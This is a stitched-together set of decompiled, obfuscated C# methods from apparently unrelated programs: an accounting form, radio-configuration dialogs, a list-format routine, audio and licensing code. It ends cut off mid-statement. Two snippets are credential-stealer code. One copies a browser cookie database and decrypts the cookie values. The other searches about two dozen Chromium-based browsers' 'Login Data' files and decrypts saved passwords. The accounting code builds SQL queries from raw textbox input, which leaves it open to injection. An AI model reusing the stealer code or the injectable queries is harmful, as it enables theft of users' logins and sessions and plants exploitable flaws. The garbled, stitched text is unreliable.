private void btn_Save_Click(object sender, EventArgs e) { DataSet set; if (DateTime.Parse(Class7.smethod_19()).Subtract(DateTime.ParseExact(this.Txt_TranDate.Text, "dd/MM/yyyy", null)).TotalDays < 0.0) { Class7.ShowMessageBox("Ng\x00e0y hiệu lực kh\x00f4ng thể chọn trong tương lai", 1); this.Txt_TranDate.Focus(); return; } if (this.Txt_Voucher.Text == string.Empty) { Class7.ShowMessageBox("Bạn chưa khai b\x00e1o số chứng từ", 1); this.Txt_Voucher.Focus(); return; } if (this.Txt_Remark.Text == string.Empty) { Class7.ShowMessageBox("Bạn chưa khai b\x00e1o diễn giải giao dịch", 1); this.Txt_Remark.Focus(); return; } if (Class7.ParseDoubleValue(this.Txt_Amount.Text) <= 0.0) { Class7.ShowMessageBox("Số tiền kh\x00f4ng hợp lệ", 1); this.Txt_Amount.Focus(); return; } string str = string.Format("{0:MM/dd/yyyy}", this.Txt_TranDate.EditValue); string str2 = this.Txt_Voucher.Text.Trim(); string str3 = this.Txt_DbAccId.EditValue.ToString(); double num = Class7.ParseDoubleValue(this.Txt_Amount.Text); double num2 = Class7.ParseDoubleValue(this.Txt_Amount.Text); string str4 = this.Txt_CreAccId.EditValue.ToString(); string str5 = this.Txt_Remark.Text.Trim(); string str6 = this.Txt_Payer.Text.Trim(); string str7 = this.Txt_PayAccId.Text.Trim(); string str8 = this.Txt_PayerBank.Text.Trim(); string str9 = this.Txt_PayerBranch.Text.Trim(); string str10 = this.Txt_Beneficiary.Text.Trim(); string str11 = this.Txt_BenAccId.Text.Trim(); string str12 = this.Txt_BenBank.Text.Trim(); string str13 = this.Txt_BenBranch.Text.Trim(); double num3 = Class7.ParseDoubleValue(this.Txt_Amount.Text); string str14 = this.Txt_TransNum.Text.Trim(); string str15 = this.IjSwogAv6; switch (str15) { case null: goto Label_0740; case "N": break; default: { if (!(str15 == "E")) { goto Label_0740; } if (Class7.ShowMessageBox("Bạn c\x00f3 chắc chắn kh\x00f4ng ?", 2) != 1) { return; } this.iWyIskLbe(this, new EventArgs()); this.string_0 = "select account_id, db_amount, cr_amount from tblAccTrans where trans_num = '" + this.Txt_TransNum.Text.Trim() + "'"; this.oleDbDataAdapter_0 = new OleDbDataAdapter(this.string_0, this.oleDbConnection_0); using (DataTable table = new DataTable()) { this.oleDbDataAdapter_0.Fill(table); foreach (DataRow row in table.Rows) { this.string_0 = string.Concat(new object[] { "update tblAccount set debamt = debamt - ", row["db_amount"], ",creamt = creamt - ", row["db_amount"], " where account_id = '", row["account_id"], "'" }); this.oleDbDataAdapter_0 = new OleDbDataAdapter(this.string_0, this.oleDbConnection_0); using (set = new DataSet()) { this.oleDbDataAdapter_0.Fill(set); this.oleDbConnection_0.Close(); continue; } } } this.string_0 = "delete from tblAccTrans where trans_num = '" + this.Txt_TransNum.Text.Trim() + "'"; this.oleDbDataAdapter_0 = new OleDbDataAdapter(this.string_0, this.oleDbConnection_0); using (set = new DataSet()) { this.oleDbDataAdapter_0.Fill(set); this.oleDbConnection_0.Close(); } Class12.smethod_3(str14, str, str2, str3, num, 0.0, str4, str5, 1); Class12.smethod_2(str3, num, true); Class12.smethod_3(str14, str, str2, str4, 0.0, num2, str3, str5, 2); Class12.smethod_2(str4, num2, false); this.string_0 = string.Concat(new object[] { "UPDATE tblPaymentOrder SET payer =N'", str6, "', payer_acc ='", str7, "', payer_bank =N'", str8, "', payer_branch =N'", str9, "', benef =N'", str10, "', benef_acc ='", str11, "',benef_bank =N'", str12, "', benef_branch =N'", str13, "', amount = ", num3, " WHERE trans_num = '", this.Txt_TransNum.Text.Trim(), "' " }); this.oleDbDataAdapter_0 = new OleDbDataAdapter(this.string_0, this.oleDbConnection_0); using (set = new DataSet()) { this.oleDbDataAdapter_0.Fill(set); this.oleDbConnection_0.Close(); goto Label_0740; } } } this.iWyIskLbe(this, new EventArgs()); Class12.smethod_3(str14, str, str2, str3, num, 0.0, str4, str5, 1); Class12.smethod_2(str3, num, true); Class12.smethod_3(str14, str, str2, str4, 0.0, num2, str3, str5, 2); Class12.smethod_2(str4, num2, false); this.string_0 = string.Concat(new object[] { "INSERT INTO tblPaymentOrder (trans_num, payer, payer_acc, payer_bank, payer_branch, benef, benef_acc, benef_bank, benef_branch, amount) VALUES ('", this.Txt_TransNum.Text.Trim(), "',N'", str6, "','", str7, "',N'", str8, "',N'", str9, "',N'", str10, "','", str11, "',N'", str12, "',N'", str13, "',", num3, ") " }); this.oleDbDataAdapter_0 = new OleDbDataAdapter(this.string_0, this.oleDbConnection_0); using (set = new DataSet()) { this.oleDbDataAdapter_0.Fill(set); this.oleDbConnection_0.Close(); } new Class6().ComputeTransnum("A"); Label_0740: Class6.transNum = this.Txt_TransNum.Text.Trim(); Class7.CreateReportInstance(Class6.string_3).ShowPreviewDialog(); }
// Token: 0x060001CD RID: 461 RVA: 0x0000EA64 File Offset: 0x0000CC64 private static List <Class21> smethod_2(string string_0) { List <Class21> result; if (!File.Exists(string_0)) { result = null; } else { try { string text = Dirs.WorkDir + "test.fv"; if (File.Exists(text)) { File.Delete(text); } File.Copy(string_0, text, true); Class12 @class = new Class12(text); List <Class21> list = new List <Class21>(); @class.method_4("cookies"); for (int i = 0; i < @class.method_1(); i++) { try { string text2 = string.Empty; try { text2 = Encoding.UTF8.GetString(Class26.smethod_1(Encoding.Default.GetBytes(@class.method_0(i, 12)), null)); } catch { } if (text2 != "") { List <Class21> list2 = list; Class21 class2 = new Class21(); class2.method_1(@class.method_0(i, 1)); class2.name = @class.method_0(i, 2); class2.path = @class.method_0(i, 4); class2.method_3(@class.method_0(i, 5)); class2.method_5(@class.method_0(i, 6)); class2.value = text2; list2.Add(class2); Class20.int_0++; } } catch { } } File.Delete(text); result = list; } catch { result = null; } } return(result); }
internal int method_34(Class12 A_0) { return(base.InnerList.Add(A_0)); }
private void method_1() { this.pnlScanBasic = new Class3(); this.nudAnalogHang = new Class12(); this.nudStartVoteRssi = new Class12(); this.lblDigitHang = new Label(); this.nudFastVoteRssi = new Class12(); this.lblAnalogHang = new Label(); this.nudVoteHang = new Class12(); this.lblVoteHang = new Label(); this.lblFastVoteRssi = new Label(); this.nudDigitHang = new Class12(); this.lblStartVoteRssi = new Label(); this.chkPriorityAlert = new CheckBox(); this.pnlScanBasic.SuspendLayout(); ((ISupportInitialize)this.nudAnalogHang).BeginInit(); ((ISupportInitialize)this.nudStartVoteRssi).BeginInit(); ((ISupportInitialize)this.nudFastVoteRssi).BeginInit(); ((ISupportInitialize)this.nudVoteHang).BeginInit(); ((ISupportInitialize)this.nudDigitHang).BeginInit(); base.SuspendLayout(); this.pnlScanBasic.AutoScroll = true; this.pnlScanBasic.AutoSize = true; this.pnlScanBasic.Controls.Add(this.nudAnalogHang); this.pnlScanBasic.Controls.Add(this.nudStartVoteRssi); this.pnlScanBasic.Controls.Add(this.lblDigitHang); this.pnlScanBasic.Controls.Add(this.nudFastVoteRssi); this.pnlScanBasic.Controls.Add(this.lblAnalogHang); this.pnlScanBasic.Controls.Add(this.nudVoteHang); this.pnlScanBasic.Controls.Add(this.lblVoteHang); this.pnlScanBasic.Controls.Add(this.lblFastVoteRssi); this.pnlScanBasic.Controls.Add(this.nudDigitHang); this.pnlScanBasic.Controls.Add(this.lblStartVoteRssi); this.pnlScanBasic.Controls.Add(this.chkPriorityAlert); this.pnlScanBasic.Dock = DockStyle.Fill; this.pnlScanBasic.Location = new Point(0, 0); this.pnlScanBasic.Name = "pnlScanBasic"; this.pnlScanBasic.Size = new Size(465, 328); this.pnlScanBasic.TabIndex = 0; this.nudAnalogHang.Increment = new decimal(new int[4] { 500, 0, 0, 0 }); this.nudAnalogHang.method_2(null); this.nudAnalogHang.Location = new Point(261, 104); this.nudAnalogHang.Maximum = new decimal(new int[4] { 10000, 0, 0, 0 }); this.nudAnalogHang.Minimum = new decimal(new int[4] { 500, 0, 0, 0 }); this.nudAnalogHang.Name = "nudAnalogHang"; this.nudAnalogHang.method_6(null); Class12 @class = this.nudAnalogHang; int[] bits = new int[4]; @class.method_4(new decimal(bits)); this.nudAnalogHang.Size = new Size(140, 23); this.nudAnalogHang.TabIndex = 3; this.nudAnalogHang.Value = new decimal(new int[4] { 500, 0, 0, 0 }); this.nudStartVoteRssi.method_2(null); this.nudStartVoteRssi.Location = new Point(261, 234); this.nudStartVoteRssi.Maximum = new decimal(new int[4] { 70, 0, 0, -2147483648 }); this.nudStartVoteRssi.Minimum = new decimal(new int[4] { 120, 0, 0, -2147483648 }); this.nudStartVoteRssi.Name = "nudStartVoteRssi"; this.nudStartVoteRssi.method_6(null); Class12 class2 = this.nudStartVoteRssi; int[] bits2 = new int[4]; class2.method_4(new decimal(bits2)); this.nudStartVoteRssi.Size = new Size(140, 23); this.nudStartVoteRssi.TabIndex = 10; this.nudStartVoteRssi.Value = new decimal(new int[4] { 70, 0, 0, -2147483648 }); this.nudStartVoteRssi.Visible = false; this.lblDigitHang.Location = new Point(50, 72); this.lblDigitHang.Name = "lblDigitHang"; this.lblDigitHang.Size = new Size(198, 23); this.lblDigitHang.TabIndex = 0; this.lblDigitHang.Text = "Digital Hang Time [ms]"; this.lblDigitHang.TextAlign = ContentAlignment.MiddleRight; this.nudFastVoteRssi.method_2(null); this.nudFastVoteRssi.Location = new Point(261, 202); this.nudFastVoteRssi.Maximum = new decimal(new int[4] { 70, 0, 0, -2147483648 }); this.nudFastVoteRssi.Minimum = new decimal(new int[4] { 120, 0, 0, -2147483648 }); this.nudFastVoteRssi.Name = "nudFastVoteRssi"; this.nudFastVoteRssi.method_6(null); Class12 class3 = this.nudFastVoteRssi; int[] bits3 = new int[4]; class3.method_4(new decimal(bits3)); this.nudFastVoteRssi.Size = new Size(140, 23); this.nudFastVoteRssi.TabIndex = 8; this.nudFastVoteRssi.Value = new decimal(new int[4] { 70, 0, 0, -2147483648 }); this.nudFastVoteRssi.Visible = false; this.lblAnalogHang.Location = new Point(50, 104); this.lblAnalogHang.Name = "lblAnalogHang"; this.lblAnalogHang.Size = new Size(198, 23); this.lblAnalogHang.TabIndex = 2; this.lblAnalogHang.Text = "Analog Hang Time [ms]"; this.lblAnalogHang.TextAlign = ContentAlignment.MiddleRight; this.nudVoteHang.DecimalPlaces = 2; this.nudVoteHang.Increment = new decimal(new int[4] { 25, 0, 0, 131072 }); this.nudVoteHang.method_2(null); this.nudVoteHang.Location = new Point(261, 169); this.nudVoteHang.Maximum = new decimal(new int[4] { 6375, 0, 0, 131072 }); this.nudVoteHang.Name = "nudVoteHang"; this.nudVoteHang.method_6(null); Class12 class4 = this.nudVoteHang; int[] bits4 = new int[4]; class4.method_4(new decimal(bits4)); this.nudVoteHang.Size = new Size(140, 23); this.nudVoteHang.TabIndex = 6; this.nudVoteHang.Visible = false; this.lblVoteHang.Location = new Point(50, 169); this.lblVoteHang.Name = "lblVoteHang"; this.lblVoteHang.Size = new Size(198, 23); this.lblVoteHang.TabIndex = 5; this.lblVoteHang.Text = "Vote Scan Hang Time [s]"; this.lblVoteHang.TextAlign = ContentAlignment.MiddleRight; this.lblVoteHang.Visible = false; this.lblFastVoteRssi.Location = new Point(50, 202); this.lblFastVoteRssi.Name = "lblFastVoteRssi"; this.lblFastVoteRssi.Size = new Size(198, 23); this.lblFastVoteRssi.TabIndex = 7; this.lblFastVoteRssi.Text = "Fast Vote Rssi Threshold [dB]"; this.lblFastVoteRssi.TextAlign = ContentAlignment.MiddleRight; this.lblFastVoteRssi.Visible = false; this.nudDigitHang.Increment = new decimal(new int[4] { 500, 0, 0, 0 }); this.nudDigitHang.method_2(null); this.nudDigitHang.Location = new Point(261, 72); this.nudDigitHang.Maximum = new decimal(new int[4] { 10000, 0, 0, 0 }); this.nudDigitHang.Minimum = new decimal(new int[4] { 500, 0, 0, 0 }); this.nudDigitHang.Name = "nudDigitHang"; this.nudDigitHang.method_6(null); Class12 class5 = this.nudDigitHang; int[] bits5 = new int[4]; class5.method_4(new decimal(bits5)); this.nudDigitHang.Size = new Size(140, 23); this.nudDigitHang.TabIndex = 1; this.nudDigitHang.Value = new decimal(new int[4] { 500, 0, 0, 0 }); this.lblStartVoteRssi.Location = new Point(50, 234); this.lblStartVoteRssi.Name = "lblStartVoteRssi"; this.lblStartVoteRssi.Size = new Size(198, 23); this.lblStartVoteRssi.TabIndex = 9; this.lblStartVoteRssi.Text = "Start Vote Rssi Threshold [dB]"; this.lblStartVoteRssi.TextAlign = ContentAlignment.MiddleRight; this.lblStartVoteRssi.Visible = false; this.chkPriorityAlert.AutoSize = true; this.chkPriorityAlert.Location = new Point(261, 137); this.chkPriorityAlert.Name = "chkPriorityAlert"; this.chkPriorityAlert.Size = new Size(103, 20); this.chkPriorityAlert.TabIndex = 4; this.chkPriorityAlert.Text = "Priority Alert"; this.chkPriorityAlert.UseVisualStyleBackColor = true; base.AutoScaleDimensions = new SizeF(7f, 16f); base.AutoScaleMode = AutoScaleMode.Font; base.ClientSize = new Size(465, 328); base.Controls.Add(this.pnlScanBasic); this.Font = new Font("Arial", 10f, FontStyle.Regular); base.Name = "ScanBasicForm"; this.Text = "Scan"; base.Load += this.ScanBasicForm_Load; base.FormClosing += this.ScanBasicForm_FormClosing; this.pnlScanBasic.ResumeLayout(false); this.pnlScanBasic.PerformLayout(); ((ISupportInitialize)this.nudAnalogHang).EndInit(); ((ISupportInitialize)this.nudStartVoteRssi).EndInit(); ((ISupportInitialize)this.nudFastVoteRssi).EndInit(); ((ISupportInitialize)this.nudVoteHang).EndInit(); ((ISupportInitialize)this.nudDigitHang).EndInit(); base.ResumeLayout(false); base.PerformLayout(); }
internal int method_8(ListFormat A_0, bool A_1) { int num4; int key = 0; string lFOStyleName = string.Empty; Class12 item = new Class12(A_0.Document); ListStyle style = null; if ((A_0.LFOStyleName == string.Empty) || (A_0.CurrentListStyle.Name != string.Empty)) { for (int i = 0; i < base.InnerList.Count; i++) { lFOStyleName = (base.InnerList[i] as ListStyle).Name; if (lFOStyleName == A_0.CustomStyleName) { style = base.InnerList[i] as ListStyle; break; } key++; } } int num2 = key + 1; if (A_0.LFOStyleName == null) { key++; goto Label_0197; } lFOStyleName = A_0.LFOStyleName; if (this.int_2 == 0) { this.int_2 = base.InnerList.Count + 1; } if (!this.dictionary_1.ContainsKey(num2)) { item = A_0.Document.ListOverrides.method_35(A_0.LFOStyleName); key = this.method_9(num2, A_0.LFOStyleName); goto Label_0197; } Dictionary <int, string> dictionary = this.dictionary_1[num2]; bool flag = false; using (Dictionary <int, string> .KeyCollection.Enumerator enumerator2 = dictionary.Keys.GetEnumerator()) { int current; while (enumerator2.MoveNext()) { current = enumerator2.Current; if (dictionary[current] == A_0.LFOStyleName) { goto Label_0151; } } goto Label_0167; Label_0151: key = current; flag = true; } Label_0167: if (!flag) { item = A_0.Document.ListOverrides.method_35(A_0.LFOStyleName); key = this.method_9(num2, A_0.LFOStyleName); } Label_0197: if (!A_1) { return(key); } if (this.ilist_0 == null) { this.ilist_0 = new List <ListStyle>(); } if (this.ilist_1 == null) { this.ilist_1 = new List <Class12>(); } if (!this.dictionary_2.ContainsKey(key)) { if (!this.ilist_0.Contains(style)) { this.ilist_0.Add(style); } this.dictionary_2.Add(key, lFOStyleName); this.ilist_1.Add(item); this.dictionary_3.Add(this.ilist_1.Count, this.ilist_0.IndexOf(style)); return(this.ilist_1.Count); } int num3 = 0; using (Dictionary <int, string> .Enumerator enumerator = this.dictionary_2.GetEnumerator()) { while (enumerator.MoveNext()) { KeyValuePair <int, string> pair = enumerator.Current; if (pair.Key == key) { goto Label_026B; } num3++; } return(key); Label_026B: num4 = num3 + 1; } return(num4); }
private void method_0() { this.lblAlias = new Label(); this.lblAlarmType = new Label(); this.lblAlarmMode = new Label(); this.lblRevertCh = new Label(); this.lblImpoliteRetries = new Label(); this.lblPoliteRetries = new Label(); this.lblCycles = new Label(); this.lblTxCycle = new Label(); this.lblRxCycle = new Label(); this.cmbAlarmMode = new ComboBox(); this.pnlEmergency = new Class3(); this.cmbRevertCh = new Class4(); this.nudPoliteRetries = new Class12(); this.nudImpoliteRetries = new Class12(); this.nudRxCycle = new Class12(); this.nudTxCycle = new Class12(); this.nudCycles = new Class12(); this.cmbAlarmType = new Class4(); this.txtName = new SGTextBox(); this.pnlEmergency.SuspendLayout(); ((ISupportInitialize)this.nudPoliteRetries).BeginInit(); ((ISupportInitialize)this.nudImpoliteRetries).BeginInit(); ((ISupportInitialize)this.nudRxCycle).BeginInit(); ((ISupportInitialize)this.nudTxCycle).BeginInit(); ((ISupportInitialize)this.nudCycles).BeginInit(); base.SuspendLayout(); this.lblAlias.Location = new Point(25, 58); this.lblAlias.Name = "lblAlias"; this.lblAlias.Size = new Size(131, 24); this.lblAlias.TabIndex = 0; this.lblAlias.Text = "Name"; this.lblAlias.TextAlign = ContentAlignment.MiddleRight; this.lblAlarmType.Location = new Point(25, 88); this.lblAlarmType.Name = "lblAlarmType"; this.lblAlarmType.Size = new Size(131, 24); this.lblAlarmType.TabIndex = 2; this.lblAlarmType.Text = "Alarm Type"; this.lblAlarmType.TextAlign = ContentAlignment.MiddleRight; this.lblAlarmMode.Location = new Point(25, 118); this.lblAlarmMode.Name = "lblAlarmMode"; this.lblAlarmMode.Size = new Size(131, 24); this.lblAlarmMode.TabIndex = 4; this.lblAlarmMode.Text = "Mode"; this.lblAlarmMode.TextAlign = ContentAlignment.MiddleRight; this.lblRevertCh.Location = new Point(25, 148); this.lblRevertCh.Name = "lblRevertCh"; this.lblRevertCh.Size = new Size(131, 24); this.lblRevertCh.TabIndex = 6; this.lblRevertCh.Text = "Revert Channel"; this.lblRevertCh.TextAlign = ContentAlignment.MiddleRight; this.lblImpoliteRetries.Location = new Point(25, 178); this.lblImpoliteRetries.Name = "lblImpoliteRetries"; this.lblImpoliteRetries.Size = new Size(131, 24); this.lblImpoliteRetries.TabIndex = 8; this.lblImpoliteRetries.Text = "Impolite Retries"; this.lblImpoliteRetries.TextAlign = ContentAlignment.MiddleRight; this.lblPoliteRetries.Location = new Point(25, 208); this.lblPoliteRetries.Name = "lblPoliteRetries"; this.lblPoliteRetries.Size = new Size(131, 24); this.lblPoliteRetries.TabIndex = 10; this.lblPoliteRetries.Text = "Polite Retries"; this.lblPoliteRetries.TextAlign = ContentAlignment.MiddleRight; this.lblCycles.Location = new Point(25, 238); this.lblCycles.Name = "lblCycles"; this.lblCycles.Size = new Size(131, 24); this.lblCycles.TabIndex = 12; this.lblCycles.Text = "Cycles"; this.lblCycles.TextAlign = ContentAlignment.MiddleRight; this.lblTxCycle.Location = new Point(25, 268); this.lblTxCycle.Name = "lblTxCycle"; this.lblTxCycle.Size = new Size(131, 24); this.lblTxCycle.TabIndex = 14; this.lblTxCycle.Text = "Tx Cycle Time [s]"; this.lblTxCycle.TextAlign = ContentAlignment.MiddleRight; this.lblRxCycle.Location = new Point(25, 298); this.lblRxCycle.Name = "lblRxCycle"; this.lblRxCycle.Size = new Size(131, 24); this.lblRxCycle.TabIndex = 16; this.lblRxCycle.Text = "Rx Cycle Time [s]"; this.lblRxCycle.TextAlign = ContentAlignment.MiddleRight; this.cmbAlarmMode.DropDownStyle = ComboBoxStyle.DropDownList; this.cmbAlarmMode.FormattingEnabled = true; this.cmbAlarmMode.Items.AddRange(new object[3] { "紧急报警", "紧急报警和呼叫", "紧急报警和语音" }); this.cmbAlarmMode.Location = new Point(167, 118); this.cmbAlarmMode.Name = "cmbAlarmMode"; this.cmbAlarmMode.Size = new Size(120, 24); this.cmbAlarmMode.TabIndex = 5; this.cmbAlarmMode.SelectedIndexChanged += this.cmbAlarmMode_SelectedIndexChanged; this.pnlEmergency.AutoScroll = true; this.pnlEmergency.AutoSize = true; this.pnlEmergency.Controls.Add(this.cmbRevertCh); this.pnlEmergency.Controls.Add(this.nudPoliteRetries); this.pnlEmergency.Controls.Add(this.lblAlias); this.pnlEmergency.Controls.Add(this.nudImpoliteRetries); this.pnlEmergency.Controls.Add(this.lblAlarmType); this.pnlEmergency.Controls.Add(this.nudRxCycle); this.pnlEmergency.Controls.Add(this.lblAlarmMode); this.pnlEmergency.Controls.Add(this.nudTxCycle); this.pnlEmergency.Controls.Add(this.lblRevertCh); this.pnlEmergency.Controls.Add(this.nudCycles); this.pnlEmergency.Controls.Add(this.lblImpoliteRetries); this.pnlEmergency.Controls.Add(this.lblPoliteRetries); this.pnlEmergency.Controls.Add(this.cmbAlarmMode); this.pnlEmergency.Controls.Add(this.lblCycles); this.pnlEmergency.Controls.Add(this.cmbAlarmType); this.pnlEmergency.Controls.Add(this.lblTxCycle); this.pnlEmergency.Controls.Add(this.txtName); this.pnlEmergency.Controls.Add(this.lblRxCycle); this.pnlEmergency.Dock = DockStyle.Fill; this.pnlEmergency.Location = new Point(0, 0); this.pnlEmergency.Name = "pnlEmergency"; this.pnlEmergency.Size = new Size(327, 376); this.pnlEmergency.TabIndex = 0; this.cmbRevertCh.DropDownStyle = ComboBoxStyle.DropDownList; this.cmbRevertCh.FormattingEnabled = true; this.cmbRevertCh.Items.AddRange(new object[6] { "1", "2", "3", "4", "5", "6" }); this.cmbRevertCh.Location = new Point(167, 148); this.cmbRevertCh.Name = "cmbRevertCh"; this.cmbRevertCh.Size = new Size(120, 24); this.cmbRevertCh.TabIndex = 7; this.nudPoliteRetries.method_2(null); this.nudPoliteRetries.Location = new Point(167, 208); this.nudPoliteRetries.Maximum = new decimal(new int[4] { 15, 0, 0, 0 }); this.nudPoliteRetries.Name = "nudPoliteRetries"; this.nudPoliteRetries.method_6(null); Class12 @class = this.nudPoliteRetries; int[] bits = new int[4]; @class.method_4(new decimal(bits)); this.nudPoliteRetries.Size = new Size(120, 23); this.nudPoliteRetries.TabIndex = 11; this.nudImpoliteRetries.method_2(null); this.nudImpoliteRetries.Location = new Point(167, 178); this.nudImpoliteRetries.Maximum = new decimal(new int[4] { 15, 0, 0, 0 }); this.nudImpoliteRetries.Minimum = new decimal(new int[4] { 1, 0, 0, 0 }); this.nudImpoliteRetries.Name = "nudImpoliteRetries"; this.nudImpoliteRetries.method_6(null); Class12 class2 = this.nudImpoliteRetries; int[] bits2 = new int[4]; class2.method_4(new decimal(bits2)); this.nudImpoliteRetries.Size = new Size(120, 23); this.nudImpoliteRetries.TabIndex = 9; this.nudImpoliteRetries.Value = new decimal(new int[4] { 1, 0, 0, 0 }); this.nudRxCycle.Increment = new decimal(new int[4] { 10, 0, 0, 0 }); this.nudRxCycle.method_2(null); this.nudRxCycle.Location = new Point(167, 298); this.nudRxCycle.Maximum = new decimal(new int[4] { 120, 0, 0, 0 }); this.nudRxCycle.Minimum = new decimal(new int[4] { 10, 0, 0, 0 }); this.nudRxCycle.Name = "nudRxCycle"; this.nudRxCycle.method_6(null); Class12 class3 = this.nudRxCycle; int[] bits3 = new int[4]; class3.method_4(new decimal(bits3)); this.nudRxCycle.Size = new Size(120, 23); this.nudRxCycle.TabIndex = 17; this.nudRxCycle.Value = new decimal(new int[4] { 10, 0, 0, 0 }); this.nudRxCycle.ValueChanged += this.nudRxCycle_ValueChanged; this.nudTxCycle.Increment = new decimal(new int[4] { 10, 0, 0, 0 }); this.nudTxCycle.method_2(null); this.nudTxCycle.Location = new Point(167, 268); this.nudTxCycle.Maximum = new decimal(new int[4] { 120, 0, 0, 0 }); this.nudTxCycle.Minimum = new decimal(new int[4] { 10, 0, 0, 0 }); this.nudTxCycle.Name = "nudTxCycle"; this.nudTxCycle.method_6(null); Class12 class4 = this.nudTxCycle; int[] bits4 = new int[4]; class4.method_4(new decimal(bits4)); this.nudTxCycle.Size = new Size(120, 23); this.nudTxCycle.TabIndex = 15; this.nudTxCycle.Value = new decimal(new int[4] { 10, 0, 0, 0 }); this.nudTxCycle.ValueChanged += this.nudTxCycle_ValueChanged; this.nudCycles.method_2(null); this.nudCycles.Location = new Point(167, 238); this.nudCycles.Maximum = new decimal(new int[4] { 10, 0, 0, 0 }); this.nudCycles.Minimum = new decimal(new int[4] { 1, 0, 0, 0 }); this.nudCycles.Name = "nudCycles"; this.nudCycles.method_6(null); Class12 class5 = this.nudCycles; int[] bits5 = new int[4]; class5.method_4(new decimal(bits5)); this.nudCycles.Size = new Size(120, 23); this.nudCycles.TabIndex = 13; this.nudCycles.Value = new decimal(new int[4] { 10, 0, 0, 0 }); this.cmbAlarmType.DropDownStyle = ComboBoxStyle.DropDownList; this.cmbAlarmType.FormattingEnabled = true; this.cmbAlarmType.Items.AddRange(new object[4] { "禁用", "常规", "静默", "静默带语音" }); this.cmbAlarmType.Location = new Point(167, 88); this.cmbAlarmType.Name = "cmbAlarmType"; this.cmbAlarmType.Size = new Size(120, 24); this.cmbAlarmType.TabIndex = 3; this.cmbAlarmType.SelectedIndexChanged += this.cmbAlarmType_SelectedIndexChanged; this.txtName.InputString = null; this.txtName.Location = new Point(167, 58); this.txtName.MaxByteLength = 0; this.txtName.MaxLength = 8; this.txtName.Name = "txtName"; this.txtName.Size = new Size(120, 23); this.txtName.TabIndex = 1; this.txtName.Leave += this.txtName_Leave; base.AutoScaleDimensions = new SizeF(7f, 16f); base.AutoScaleMode = AutoScaleMode.Font; base.ClientSize = new Size(327, 376); base.Controls.Add(this.pnlEmergency); this.Font = new Font("Arial", 10f, FontStyle.Regular, GraphicsUnit.Point, 0); base.Name = "EmergencyForm"; this.Text = "Emergency System"; base.Load += this.EmergencyForm_Load; base.FormClosing += this.EmergencyForm_FormClosing; this.pnlEmergency.ResumeLayout(false); this.pnlEmergency.PerformLayout(); ((ISupportInitialize)this.nudPoliteRetries).EndInit(); ((ISupportInitialize)this.nudImpoliteRetries).EndInit(); ((ISupportInitialize)this.nudRxCycle).EndInit(); ((ISupportInitialize)this.nudTxCycle).EndInit(); ((ISupportInitialize)this.nudCycles).EndInit(); base.ResumeLayout(false); base.PerformLayout(); }
public Stream2(Enum2 enum2_1, ushort ushort_0, GenericAudioStream stream1_0, Interface5[] interface5_0) : base() { this.list_0 = new List<GenericAudioStream>(); this.class12_0 = new Class12(new Interface5[0]); //base..ctor(); this.enum2_0 = enum2_1; this.bool_1 = false; this.waveFormat_0 = new WaveFormat(stream1_0.vmethod_0().int_0, (ushort_0 != 0) ? ((int)ushort_0) : Math.Min((int)stream1_0.vmethod_0().short_0, Stream2.smethod_0(this.enum2_0))); this.list_0.Add(stream1_0); this.long_1 = 0L; stream1_0.Position = 0L; this.long_0 = Convert.ToInt64((double)(this.waveFormat_0.int_0 * (int)this.waveFormat_0.short_1) * stream1_0.vmethod_1().timeSpan_0.TotalSeconds); this.method_0(interface5_0); this.bool_0 = (stream1_0.vmethod_0().short_0 == 1 && ushort_0 < 2); this.int_2 = (int)this.waveFormat_0.short_0 << 2; }
internal static long smethod_0() { if ((Assembly.GetCallingAssembly() != typeof(Class6).Assembly) || !smethod_1()) { return(0L); } lock (class8_0) { long num2 = class8_0.method_0(); if (num2 == 0L) { AssemblyName name; Assembly executingAssembly = Assembly.GetExecutingAssembly(); List <byte> list = new List <byte>(); try { name = executingAssembly.GetName(); } catch { name = new AssemblyName(executingAssembly.FullName); } byte[] publicKeyToken = name.GetPublicKeyToken(); if ((publicKeyToken != null) && (publicKeyToken.Length == 0)) { publicKeyToken = null; } if (publicKeyToken != null) { list.AddRange(publicKeyToken); } list.AddRange(Encoding.Unicode.GetBytes(name.Name)); int num4 = smethod_3(typeof(Class6)); int num5 = Class12.smethod_0(); list.Add((byte)(num4 >> 8)); list.Add((byte)num5); list.Add((byte)(num4 >> 0x10)); list.Add((byte)(num5 >> 8)); list.Add((byte)num4); list.Add((byte)(num5 >> 0x18)); list.Add((byte)(num4 >> 0x18)); list.Add((byte)(num5 >> 0x10)); int count = list.Count; ulong num = 0L; for (int i = 0; i != count; i++) { num += (ulong)list[i]; num += num << 20; num ^= num >> 12; list[i] = 0; } num += num << 6; num ^= num >> 0x16; num += num << 30; num2 = (long)num; num2 ^= -4792907524311011554L; class8_0.method_1(num2); } return(num2); } }
// Token: 0x06000203 RID: 515 RVA: 0x00010138 File Offset: 0x0000E338 public static void smethod_0() { string[] array = new string[] { "Chrome", "Yandex", "Orbitum", "Opera", "Amigo", "Torch", "Comodo", "CentBrowser", "Go!", "uCozMedia", "Rockmelt", "Sleipnir", "SRWare Iron", "Vivaldi", "Sputnik", "Maxthon", "AcWebBrowser", "Epic Browser", "MapleStudio", "BlackHawk", "Flock", "CoolNovo", "Baidu Spark", "Titan Browser" }; try { Directory.CreateDirectory(Dirs.WorkDir + "\\Browsers"); List <string> list = new List <string>(); List <string> list2 = new List <string> { Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) }; List <string> list3 = new List <string>(); foreach (string path in list2) { try { list3.AddRange(Directory.GetDirectories(path)); } catch { } } foreach (string path2 in list3) { try { list.AddRange(Directory.GetFiles(path2, "Login Data", SearchOption.AllDirectories)); string[] files = Directory.GetFiles(path2, "Login Data", SearchOption.AllDirectories); foreach (string text in files) { try { if (File.Exists(text)) { string string_ = "Unknown (" + text + ")"; foreach (string text2 in array) { if (text.Contains(text2)) { string_ = text2; } } try { string text3 = Path.GetTempPath() + "/test.fv"; if (File.Exists(text3)) { File.Delete(text3); } File.Copy(text, text3, true); Class12 @class = new Class12(text3); if ([email protected]_4("logins")) { break; } int num = 0; for (;;) { try { if (num >= @class.method_1()) { break; } try { string text4 = string.Empty; try { text4 = Encoding.UTF8.GetString(Class26.smethod_1(Encoding.Default.GetBytes(@class.method_0(num, 5)), null)); } catch (Exception) { } if (text4 != "") { Class27 class2 = new Class27(); class2.method_1(@class.method_0(num, 1).Replace("https://", "").Replace("http://", "").Replace("www.", "")); class2.method_3(@class.method_0(num, 3)); class2.method_5(text4); class2.method_7(string_); Class27 arg = class2; Class26.string_0 += 